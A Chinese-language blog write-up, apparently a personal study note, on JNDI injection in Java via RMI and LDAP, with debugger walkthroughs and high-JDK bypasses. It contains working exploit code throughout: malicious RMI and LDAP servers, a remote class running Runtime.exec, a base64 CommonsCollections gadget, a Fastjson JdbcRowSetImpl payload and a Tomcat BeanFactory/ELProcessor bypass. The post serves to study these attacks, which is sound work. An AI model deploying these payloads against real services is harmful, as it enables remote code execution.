JNDI注入

JNDI 介绍

JNDI(Java Naming and Directory Interface) 是 Java 提供的一套用于访问命名服务和目录服务的统一接口。它允许 Java 应用通过统一的 API 与不同类型的命名或目录服务进行交互,例如 LDAP、RMI、DNS、CORBA 等。

JNDI 本身并不是一个具体的服务实现,而是一个 抽象接口层。通过不同的服务提供者(Service Provider Interface,SPI),JNDI 可以访问各种后端命名服务。

其基本作用类似于一种 资源查找机制:应用程序可以通过名称(Name)来查找对应的对象(Object),从而获取远程资源或服务。

A name is used to reference an object.

image-20260305130735802

SPI(Service Provider Interface,服务供应接口)是 JNDI 中的一个关键组件,主要作用是为底层的具体目录服务提供统一的接入接口,从而实现目录服务的可插拔式安装。通过 SPI,不同的目录服务实现可以无缝集成到 JNDI 架构中,而无需修改应用层代码。

具体实现不同协议的访问逻辑,例如:

  • RMI Java 远程方法调用;
  • LDAP 轻量级目录访问协议;
  • DNS 域名服务
  • NIS 集中管理系统配置信息的目录服务
  • CORBA 通用对象请求代理架构,用于 COS 名称服务

但是jdk默认支持的就是RMI LDAP DNS CORBA

命名服务(Naming Server)是一种通过名称查找实际对象的服务。例如,RMI协议可以通过名称查找并调用远程对象,DNS协议则通过域名查找对应的IP地址。这些服务都属于命名服务。

在命名服务中,有几个关键概念:

  • Bindings:表示名称与对象之间的绑定关系。例如,在DNS中,域名与IP地址绑定;在RMI中,远程对象与名称绑定;在文件系统中,文件名与文件内容绑定。

  • Context:上下文表示一组名称到对象的绑定关系。一个上下文可以用于查找对应的对象,例如在文件系统中,一个目录就是上下文,可以在其中查找文件,子目录也可以看作子上下文(SubContext)。

  • References:对于无法直接存储的对象,它们通常通过引用的形式存储,类似于C/C++中的指针。引用包含获取实际对象所需的信息。例如,在文件系统中,通过文件描述符(fd)来引用文件,内核使用该引用找到磁盘中的文件

目录服务(Directory Service)是命名服务的扩展。除了名称到对象的映射,目录服务还允许对象具有属性(Attributes)。因此,目录服务不仅支持根据名称查找对象并获取其属性,还支持根据属性值进行搜索。

一些常见的目录服务包括:

  • LDAP:轻型目录访问协议
  • Active Directory:为Windows域网络设计,提供多个目录服务,如域名服务和证书服务
  • 其他基于X.500标准实现的目录服务

是jdk默认支持的SPI就是RMI LDAP DNS CORBA

现在看rmi

JDNI 结合 RMI

RMI 原生漏洞

先把服务写好吧

image-20260305150414045

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.util.Hashtable;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        
        InitialContext initialContext = new InitialContext();//创建上下文
         initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
        //把地址和对象的名字创建一个远程对象,绑定到创建好的上下文上
    }
}
1
2
3
4
5
6
7
8
9
10
11
package org.example;

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

JNDI和RMI无非就是 先绑定 再访问,本质就是用的RMI

只不过JNDI需要在lookup的时候自己写url

我们来跟一下:

  • 断点打在

    image-20260305141156276

  • image-20260305141209478

  • 再进lookup

    image-20260305141243473

  • 最后到了这个文件RegistryContext里面

    image-20260305141322395

    然后走this.registry.lookup就是RMI原生的lookup

    image-20260305141610513

调用不同协议,Context不同,RegistryContext就是RMI的Context

到这里引出来一个问题:

image-20260305141836537

当remoteObj可控,也就是说对象可控的话,那么我们就可以通过这个url访问到恶意服务

JNDI 注入漏洞

先明白一个概念 目录存储对象(上面提到过)

可存储的 对象的类型:

image-20260305142220361

而我们这里说到的JNDI 注入漏洞,主要是利用的第二点 引用

在 Java 的 JNDI 设计中,如果一个对象无法直接序列化存储在目录服务(如 LDAP、RMI)中,可以使用 javax.naming.Reference 类来表示。

原理:引用 对应着 工厂,在 引用 中写具体逻辑,感觉和代理差不多

攻击

  • 先看JNDIRMIServer

    相当于用 Reference 代理了远程对象,Reference 实例化时传参是将 Reference 对象绑定到了注册中心

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    package org.example;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.Reference;
    import java.util.Hashtable;
    
    public class JNDIRMIServer {
        public static void main(String[] args) throws Exception{
            
            Registry registry = LocateRegistry.createRegistry(1099);
            InitialContext initialContext = new InitialContext();
    //      initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
            
            Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
            initialContext.rebind("rmi://localhost:1099/remoteObj", refObj);
        }
    }

    刚刚绑定的是远程对象,现在绑定的是Reference(引用)

    可以看一下Reference的构造函数

    1
    2
    3
    4
    5
    public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }
    • className:类名

    • factory:工厂—————>作用:为了 让存储在目录服务中的Reference能动态生成复杂的对象,相当于上面说的,在Reference中写具体逻辑

    • factoryLocation:工厂位置

  • 写一个测试类,在7777端口启动

    注意:需要把 package 去掉,再进行编译,因为服务目录下是没有包目录的

    1
    2
    3
    4
    5
    6
    7
    import java.io.IOException;
    
    public class TestRef {
        public TestRef() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    }

    image-20260305145008739

    就可以将 引用 绑定到RMI服务上面

  • 启动服务端,然后再客户端在lookup一下

    image-20260305150534630

也就是说,恶意地址里面有恶意类,导致JNDI客户端查询lookup的是时候就会产生危害

内部调试

接下来我们看一下内部具体的流程

  • 断点还是在这

    image-20260305151107397

  • 按照上面的流程走到了RegistryContext文件

    看一下参数

    image-20260305151441656

    发现从Reference变成了ReferenceWrapper_Stub

    • 一开始在服务端绑定的Reference,到客户端就改变了

      所以就是服务端的操作对这个名称造成了影响

      image-20260305151713037

    • 还是到RegistryContext文件

      image-20260305151903935

      名字还是之前那个,但是对象发生了encodeObject

    • 进encodeObject

      image-20260305152032679

      逻辑中表示:如果对象是Reference,就把他变成ReferenceWrapper

  • 接下来继续看到decodeObject

    image-20260305152323568

  • 看decodeObject

    image-20260305152412176

    意思是,如果是ReferenceWrapper,就获取值

  • 接下来进到文件NamingManager.java这个类是一个通用的类

    这个地方进到 工厂,从引用路径里面获取对象工厂

    image-20260305155045975

  • 接下来就是要通过类加载来寻找这个工厂类了

    按照双亲委派寻找

    先本地查找(appclassloader)

    image-20260305155409553

    接下来利用codebase

    image-20260305155437374

    新建urlclassloader把codebase传入

    使用url路径加载工厂类

  • 因为我们的TestRef使用方法触发

    1
    2
    3
    4
    5
    6
    7
    import java.io.IOException;
    
    public class TestRef {
        public TestRef() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    }

    所以还需要 实例化工厂类 才会弹出计算器(因为是方法需要实例化,要是静态代码块就不用)

    image-20260305155802639

小结

image-20260305172146955

  • 存在JNDI服务,且有rmi请求的地址(rmi://localhost:1099)
  • 不走rmi请求的地址,我们走自己伪造的地址(rmi://evil.com:1099)(2)
  • 伪造地址返回引用对象(3)
  • 根据引用对象 提供的 伪造的地址 ,利用类加载 搜索恶意.class(4)
  • 返回执行恶意.class(5)

JDNI 结合 LDAP

JDNI +LDAP绕过

jkd有过一次修复,加了一个参数叫做trustURLCodebase,需要手动运行调整,这个参数是true才能真正实现 从引用路径里面获取对象工厂,否则报错

三个支持远程对象的服务 :修复了RMI CORBA ,只留下了ldap

LDAP 介绍

LDAP(轻量级目录访问协议)专门用于存储用户信息、组织结构或网络资源。在 JNDI 的语境下,它就是一个存放“对象”的仓库。且属于目录服务,是一个特殊的数据库

攻击

  • JNDILDAPServer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    package org.example;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.Reference;
    import java.util.Hashtable;
    
    public class JNDILDAPServer {
        public static void main(String[] args) throws Exception {
    //        Hashtable env = new Hashtable();
    //        env.put(Context.INITIAL_CONTEXT_FACTORY,
    //                "com.sun.jndi.ldap.LdapCtxFactory");
    //        env.put(Context.PROVIDER_URL,
    //                "ldap://localhost:10389");
    
            InitialContext initialContext = new InitialContext();
            Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
            initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj);
        }
    }
  • 服务端就用一个工具起服务

    启动服务端成功绑定

    image-20260305204438340

    或者跑命令行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 1. 克隆代码到本地
    git clone https://github.com/mbechler/marshalsec.git
    # 2. 进入项目目录
    cd marshalsec
    # 3. 使用 Maven 编译生成可执行的 jar 包
    mvn clean package -DskipTests
    # 4. 开启服务
    cd C:\Users\95227\marshalsec\target
    D:\Java\jdk1.8.0_65\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#TestRef" 10389
  • 联通7777的Testref.class

    image-20260305205127038

  • 客户端直接查

    1
    2
    3
    4
    5
    6
    7
    8
    import javax.naming.InitialContext;
    
    public class JNDILDAPClient {
        public static void main(String[] args) throws Exception {
            InitialContext initialContext = new InitialContext();
            initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
        }
    }

    image-20260305211539751

    image-20260305211554284

内部调试

  • image-20260305211920712

  • 和rmi一样跳到Context文件,最后走到LdapCtx文件

  • 这一步的参数Attributes,就是所获取要的属性

    image-20260305212858590

  • 接下来解析属性

    (前面说过目录存储对象 可存储的 对象的类型:包含多种)

    由于我们用的是引用,所以到了decodeReference方法

    image-20260305213112303

  • 进decodeReference方法

    和上面提到的rmi一样,这个方法都是为了还原Reference通过Reference来利用url查找恶意类

  • 到了DirectoryManager(和上面rmi的NamingManager一样)

    image-20260305213731604

  • 然后类加载到恶意类

    image-20260305214451297

  • 实例化触发

JavaSerializedData 注入

利用 InMemoryOperationInterceptor 动态拦截 LDAP 请求并返回恶意数据。

当客户端通过 lookup 拿到结果时,会自动检查 Entry(条目)里的属性名。如果属性名是 javaSerializedData,JNDI客户端会立即调用 ObjectInputStream.readObject(),将 序列化好的 Java 对象,通过反序列化还原

攻击

  • 导入cc链子和fastjson

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <dependency>  
     <groupId>com.alibaba</groupId>  
     <artifactId>fastjson</artifactId>  
     <version>1.2.80</version>  
    </dependency>
    <dependency>  
     <groupId>commons-collections</groupId>  
     <artifactId>commons-collections</artifactId>  
     <version>3.2.1</version>  
    </dependency>
  • 恶意服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    package org.example;
    
    import com.unboundid.util.Base64;
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.text.ParseException;
    
    public class JNDIGadgetServer {
    
        private static final String LDAP_BASE = "dc=example,dc=com";
        public static void main (String[] args) {
            String url = "http://vps:8000/#ExportObject";
            int port = 1234;
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port);
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
            private URL codebase;
    
            public OperationInterceptor(URL cb) {
                this.codebase = cb;
            }
    
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                } catch (Exception e1) {
                    e1.printStackTrace();
                }
            }
    
            protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Exploit");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if (refPos > 0) {
                    cbstring = cbstring.substring(0, refPos);
                }
    
    //            Payload1: 利用LDAP+Reference Factory
    //            e.addAttribute("javaCodeBase", cbstring);
    //            e.addAttribute("objectClass", "javaNamingReference");
    //            e.addAttribute("javaFactory", this.codebase.getRef());
    
    //            Payload2: 返回序列化Gadget
                try {
                    e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
                } catch (ParseException exception) {
                    exception.printStackTrace();
                }
    
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
    
        }
    }
  • 客户端触发

    lookup参数注入触发

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    package org.example;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    
    public class JNDIGadgetClient {
        public static void main(String[] args) throws Exception {
            // lookup参数注入触发
            Context context = new InitialContext();
            context.lookup("ldap://localhost:1234/ExportObject");
    
        }
    }

    Fastjson反序列化JNDI注入Gadget触发

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    package org.example;
    
    import com.alibaba.fastjson.JSON;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    
    public class JNDIGadgetClient {
        public static void main(String[] args) throws Exception {
            // Fastjson反序列化JNDI注入Gadget触发
            String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
            JSON.parse(payload);
        }
    }

    image-20260306205913511

内部调试

现在我们来调试一下lookup参数注入触发

  • image-20260306210655133

  • 从decodeObject()开始看(上面提到过,在LdapCtx文件里面)

    image-20260306211227196

  • 进到 decodeObject() 方法里面看到一个 getURLClassLoader()

    image-20260306211305160

  • 往下走,进入到 trustURLCodebase 的判断,我们之前说过,这里默认就是 false,所以没跳进去,无法进行 URLClassLoader 的实例化。但是这个地方其实我们已经获取到字节码了,只是不实例化就无法加载,也就无法命令执行。

    image-20260306211419487

  • 我们继续往下走,有一个 deserializeObject()

    字面意思就是用来反序列化的方法

    image-20260306211507958

    这里被反序列化的东西,是一个 javaSerializedData 数据类型的类。

    image-20260306211840141

  • 内部逻辑的反系列化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
    
                try (Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1)) {
                    Object var5 = ((ObjectInputStream)var20).readObject();
                    //出现了反序列化
                    return var5;
                } catch (ClassNotFoundException var18) {
                    NamingException var4 = new NamingException();
                    var4.setRootCause(var18);
                    throw var4;
                }
            } catch (IOException var19) {
                NamingException var3 = new NamingException();
                var3.setRootCause(var19);
                throw var3;
            }
        }

对比RMI&LDAP

都支持 Reference 注入但是

  • LDAP 的限制直到 JDK 8u191 才开启,RMI 的远程类加载限制在 JDK 6u141/7u131/8u121开启

  • Reference 注入:通过 NamingManager 触发远程类加载。两者一样

    JavaSerializedData 注入:LDAP 允许在属性中直接存储序列化后的字节码。当客户端 lookup 时,会自动触发反序列化。如果目标环境中存在脆弱的 Gadget(如 CommonsCollections),即使关闭了远程类加载,依然可以实现 RCE。

    (Reference 注入(下载 .class 文件)会被 trustURLCodebase 配置拦住。但 javaSerializedData 注入 绕过了这个限制)

绕过高版本 jdk 的攻击

jdk8u121 < < jdk8u191

就是我们上面说的 ldap 的 JNDI 漏洞,其实这也无关 ldap。通过 RMI 也是可以打的,这也就是 JNDI 通用漏洞,原因是可以动态加载字节码,分析过程和上面是一样的,也有断点,这里就不赘述了

看一下对于jdk8u191之后的版本对比一下更新点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 旧版本JDK  
 /**  
 * @param className A non-null fully qualified class name.  
 * @param codebase A non-null, space-separated list of URL strings.  
 */  
 public Class<?> loadClass(String className, String codebase)  
 throws ClassNotFoundException, MalformedURLException {  
  
 ClassLoader parent = getContextClassLoader();  
 ClassLoader cl =  
 URLClassLoader.newInstance(getUrlArray(codebase), parent);  
  
 return loadClass(className, cl);  
 }  
  
  
// 新版本JDK  
 /**  
 * @param className A non-null fully qualified class name.  
 * @param codebase A non-null, space-separated list of URL strings.  
 */  
 public Class<?> loadClass(String className, String codebase)  
 throws ClassNotFoundException, MalformedURLException {  
     //更新点在这,在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测
     //根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。这个在前面也说过了
 if ("true".equalsIgnoreCase(trustURLCodebase)) {  
 ClassLoader parent = getContextClassLoader();  
 ClassLoader cl =  
 URLClassLoader.newInstance(getUrlArray(codebase), parent);  
  
 return loadClass(className, cl);  
 } else {  
 return null;  
 }  
 }

jdk8u191 之后

先从本地进行加载,再从 codebase 进行加载,但是从 codecase 中加载类时,不同于 RMI 在 RegistryContext 的修复在这里是 loadClass 添加了 trustURLCodebase 进行修复,是 true 的时候才允许从远端进行加载。它走到获得引用对象那里都是 ok 的,只是不允许远程从工厂位置加载类。说明引用对象还是可以利用的。

攻击方式是:利用本地恶意 Class 作为Reference Factory

跟一下,走到了类加载

image-20260306153116756

加的if就是我们上面提到的 trustURLCodebase的值是否为true 的值来进行判断

绕过手法一

利用本地恶意 Class 作为 Reference Factory,本地加载工厂对象,执行工厂对象的恶意方法

要想本地加载工厂对象,我们直接找ObjectFactory接口的实现类

找依赖优先找最常见的,最终选择 tomcat 的 org.apache.naming.factory.BeanFactory 调用了BeanFactory. getObjectInstance

image-20260306154636691

而且只有javax.el.ELProcessor#eval 和 groovy.lang.GroovyShel1#evaluate可以符合BeanFactory的调用条件(只传一个String类型的参数)

image-20260306200418239

  • 看一下BeanFactory逻辑

    image-20260306155314118

    主要是这里,通过反射实现

    参数可控就可以执行我们自己的代码

这里我们以rmi为例吧:

  • 先导入tomcat依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.73</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-el</artifactId>
        <version>8.5.73</version>
    </dependency>
  • 先启动RMIServer打开注册中心

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package org.example;
    
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class RMIServer {
        public static void main(String[] args) throws RemoteException , AlreadyBoundException {
            IRemoteObj remoteObj = new RemoteObjImpl();//在服务端创建远程对象,实现与客户端通讯
            Registry r= LocateRegistry.createRegistry(1099);//注册中心(1099为固定端口)
    //        r.bind("remoteObj", remoteObj);//绑定服务,命名为“remoteObj“
        }
    
    }
  • JNDIRMIServerBypass

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import javax.naming.InitialContext;
    import javax.naming.StringRefAddr;
    import javax.naming.spi.ResourceRef;
    
    public class JNDIRMIServerBypass {
        public static void main(String[] args) throws Exception {
            InitialContext initialContext = new InitialContext();
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
                    "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));//弹计算器
            initialContext.rebind("rmi://localhost:1099/remoteObj", ref);
        }
    }
  • RMIClient访问lookup即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    package org.example;
    
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import java.rmi.NotBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class RMIClient {
    
        public static void main(String[] args) throws NamingException {
            InitialContext initialContext = new InitialContext();
            initialContext.lookup("rmi://localhost:1099/remoteObj");
        }
    }

    image-20260306193124956

    成功

我们来调试一手

  • image-20260306193441861

  • 跟前面一样吗,我们直接跳到改动点

    image-20260306193701101

  • 这是我们写的那个类

    image-20260306194042558

  • 接下来类加载

    image-20260306194425495

    成功加载到类名

  • 加载到工厂

    image-20260306194533369

  • 实例化创建

    image-20260306194616067

  • 接下来创建完成后得到BeanFactory对象

    image-20260306194738817

  • 调用BeanFactory,getObjectInstance传值(我们构造的)

  • 接下来就是到最关键的反射调用使用invoke

    image-20260306195056981

    就是在bean是反射调用valueArray的值

    image-20260306195446340

    valueArray就是我们传的eval

    image-20260306195948100

    image-20260306200208781

    最后就弹出了计算器

绕过手法二

利用 LDAP 返回序列化数据,触发本地 Gadget

就是我们在前面提到的JavaSerializedData 注入

总结:

  • JNDI使用原生JDK,不需要其他依赖,后续高版本需要cc依赖来绕过

  • 编译 TestRef.java 时,千万不要给它加 package

    如果你的类定义了 package org.example;,那么它的全名就是 org.example.TestRef。当它从 Reference 中解析出类名是 org.example.TestRef,且 codebase 是 http://localhost:7777/ 时,JVM 会尝试访问 http://localhost:7777/org/example/TestRef.class。如果你只是把 TestRef.class 放在 7777 端口的根目录下,HTTP 服务器会报错

  • jndi攻击 ,在服务不同的时候,主要看的是NamingManager.java这个通用的类,不是看Context

    不同的协议(LDAP、RMI、DNS)有不同的 Context 实现,它们的职责主要是“网络通信”和“获取原始数据”。

    NamingManager 是 JNDI SPI(服务提供者接口)的标准实现,只要 Java 官方没有在 NamingManager 里增加安全检查(如后来的 trustURLCodebase 开关),那么所有的 Context 只要支持 Reference,就都存在被注入的风险。

  • 对于高版本的JNDI,可以使用 本地加载工厂 实现绕过

    也可以搭配使用 LDAP直接返回一个序列化的对象,JNDI检测到javaSerializedData它会认为这是一个序列化的 Java 对象。客户端会自动调用 ObjectInputStream.readObject() 来还原这个对象。从而实现反序列化

参考文章:


JNDI注入
http://example.com/2026/03/08/JNDI 注入/
作者
Piggy Sprint
发布于
2026年3月8日
许可协议